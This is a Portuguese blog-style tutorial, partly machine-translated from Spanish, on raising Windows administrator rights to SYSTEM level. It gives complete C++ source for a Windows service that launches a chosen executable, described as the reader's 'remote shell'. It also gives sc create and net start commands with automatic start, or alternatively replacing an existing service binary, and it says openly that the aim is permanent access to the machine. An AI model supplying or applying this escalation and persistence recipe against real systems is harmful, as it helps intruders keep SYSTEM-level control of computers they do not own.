Olá! Por vezes, mesmo que tenha privilégios de “administrador” para certas operações que precisa de ter privilégios de “sistema”, como pode escalar os privilégios? Uma das formas é bastante simples e pode ser feita de duas maneiras:
Em ambos os casos tem de criar um ficheiro executável do serviço Windows que chama o nosso “shell remoto”, pode fazê-lo com este código C++, substituindo na variável DAEMON_EXE_NAME o valor “C:\\EXECUTABLE_FILE_PATH.exe” pelo caminho do ficheiro a executar e alterando o nome do serviço em NAME_IN_SERVICES colocando o nome que queremos que o serviço tenha e em MY_SERVICE_DESC a sua descrição:
// Windows Service main application // Add your code where necessary to create your own windows service application. #include <windows.h> #include <stdio.h> #include <stdlib.h> // Replace with your own #define NAME_IN_SERVICES TEXT("MyService") #define MY_SERVICE_DESC TEXT("Service description") #define DAEMON_EXE_NAME "C:\\EXECUTABLE_FILE_PATH.exe" // Some global vars SERVICE_STATUS gStatus; SERVICE_STATUS_HANDLE gStatusHandle; HANDLE ghStopEvent = NULL; void InstallService() { SC_HANDLE hSCMgr; SC_HANDLE hService; TCHAR ExeAddr[MAX_PATH]; SERVICE_DESCRIPTION sd; LPTSTR Desc = MY_SERVICE_DESC; if (! GetModuleFileName(NULL, ExeAddr, MAX_PATH)) { printf("Cannot install service.\n"); return; } hSCMgr = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (hSCMgr == NULL) { printf("OpenSCManager failed\n"); return; } hService = CreateService(hSCMgr, NAME_IN_SERVICES, NAME_IN_SERVICES, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, ExeAddr, NULL, NULL, NULL, NULL, NULL); if (hService == NULL) { printf("CreateService failed (%s)\n", ExeAddr); CloseServiceHandle(hSCMgr); return; } else printf("Service successfully installed.\nExecutable: %s\n", ExeAddr); // Now, to change its description sd.lpDescription = Desc; if (! ChangeServiceConfig2(hService, SERVICE_CONFIG_DESCRIPTION, &sd)) printf("ChangeServiceConfig2 failed.\n"); CloseServiceHandle(hService); CloseServiceHandle(hSCMgr); } void UninstallService() { SC_HANDLE hSCMgr; SC_HANDLE hService; hSCMgr = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (NULL == hSCMgr) { printf("OpenSCManager failed\n"); return; } hService = OpenService(hSCMgr, NAME_IN_SERVICES, DELETE); if (hService == NULL) { printf("OpenService failed\n"); CloseServiceHandle(hSCMgr); return; } if (! DeleteService(hService)) printf("Fallo DeleteService (%d)\n", (int) GetLastError()); else printf("Service uninstalled successfully.\nYou must restart windows for changes to take effect.\n"); CloseServiceHandle(hService); CloseServiceHandle(hSCMgr); } void MySetServiceStatus( DWORD State, DWORD ExitCode, DWORD Wait ) { gStatus.dwCurrentState = State; gStatus.dwWin32ExitCode = ExitCode; gStatus.dwWaitHint = Wait; if (State == SERVICE_START_PENDING) gStatus.dwControlsAccepted = 0; else gStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; SetServiceStatus(gStatusHandle, &gStatus); } void WINAPI CtrlHandler( DWORD CtrlCmd ) { switch (CtrlCmd) { case SERVICE_CONTROL_STOP: MySetServiceStatus(SERVICE_STOP_PENDING, NO_ERROR, 0); // Add here the necessary code to stop the daemon SetEvent(ghStopEvent); break; case SERVICE_CONTROL_INTERROGATE: // Add here the necessary code to query the daemon break; } MySetServiceStatus(gStatus.dwCurrentState, NO_ERROR, 0); } int Run( char * Command ) { STARTUPINFO si; PROCESS_INFORMATION pi; si.cb = sizeof(STARTUPINFO); si.lpReserved = NULL; si.lpDesktop = NULL; si.lpTitle = 0; si.dwX = si.dwY = si.dwXSize = si.dwYSize = si.dwXCountChars = si.dwYCountChars = si.dwFlags = 0; si.wShowWindow = SW_NORMAL; si.lpReserved2 = NULL; si.cbReserved2 = 0; si.hStdInput = si.hStdOutput = si.hStdError = 0; return CreateProcess(0, Command, 0, 0, 1, 0, 0, 0, &si, & pi); } void InitService() { // printf in this function will not work when running from SCM gStatusHandle = RegisterServiceCtrlHandler(NAME_IN_SERVICES, CtrlHandler); if (! gStatusHandle) { int e; e = GetLastError(); if (e == ERROR_INVALID_NAME) printf("RegisterServiceCtrlHandler failed (ERROR_INVALID_NAME)\n"); else if (e == ERROR_SERVICE_DOES_NOT_EXIST) printf("RegisterServiceCtrlHandler failed (ERROR_SERVICE_DOES_NOT_EXIST)\n"); else printf("RegisterServiceCtrlHandler failed (%d)\n", (int) e); return; } gStatus.dwServiceType = SERVICE_WIN32; gStatus.dwServiceSpecificExitCode = 0; MySetServiceStatus( SERVICE_START_PENDING, NO_ERROR, 3000 ); // HERE put your daemon initialization code // if it takes too long to start, call MySetServiceStatus() with // SERVICE_START_PENDING periodically. // If initialization fails, call MySetServiceStatus with SERVICE_STOPPED. // The following is a generic code. Replace with your own. Run(DAEMON_EXE_NAME); // end of daemon initialization MySetServiceStatus(SERVICE_RUNNING, NO_ERROR, 0); ghStopEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (ghStopEvent == NULL) { MySetServiceStatus( SERVICE_STOPPED, NO_ERROR, 0 ); printf("CreateEvent failed.\n"); return; } WaitForSingleObject(ghStopEvent, INFINITE); MySetServiceStatus(SERVICE_STOPPED, NO_ERROR, 0); } SERVICE_TABLE_ENTRY DispatchTable[] = { { NAME_IN_SERVICES, (LPSERVICE_MAIN_FUNCTION) InitService }, { NULL, NULL } }; int main( int c, char * arg[] ) { if (c > 2) { printf("Usage: servicio [ install | uninstall ]\n"); return 1; } if (c == 2 && ! stricmp(arg[1], "install")) { InstallService(); return 0; } if (c == 2 && ! stricmp(arg[1], "uninstall")) { UninstallService(); return 0; } if (! StartServiceCtrlDispatcher(DispatchTable)) printf("StartServiceCtrlDispatcher failed\n"); return 0; }
Então, como disse antes, pode ser feito de duas maneiras:
- Substituir o ficheiro de um executável pelo nosso (mudando o nome do nosso por aquele que pretende substituir).
- Pode adicionar um novo serviço (é importante definir o arranque automático para que este arranque se reinicie se o computador for reiniciado), isto pode ser feito com o seguinte comando:
sc create NOMBRE-DEL-SERVICIO binPath= "C:\\RUTA-DEL-EXE" start=auto net start NOMBRE-DEL-SERVICIO
Desta forma, teríamos acesso permanente ao sistema desta máquina.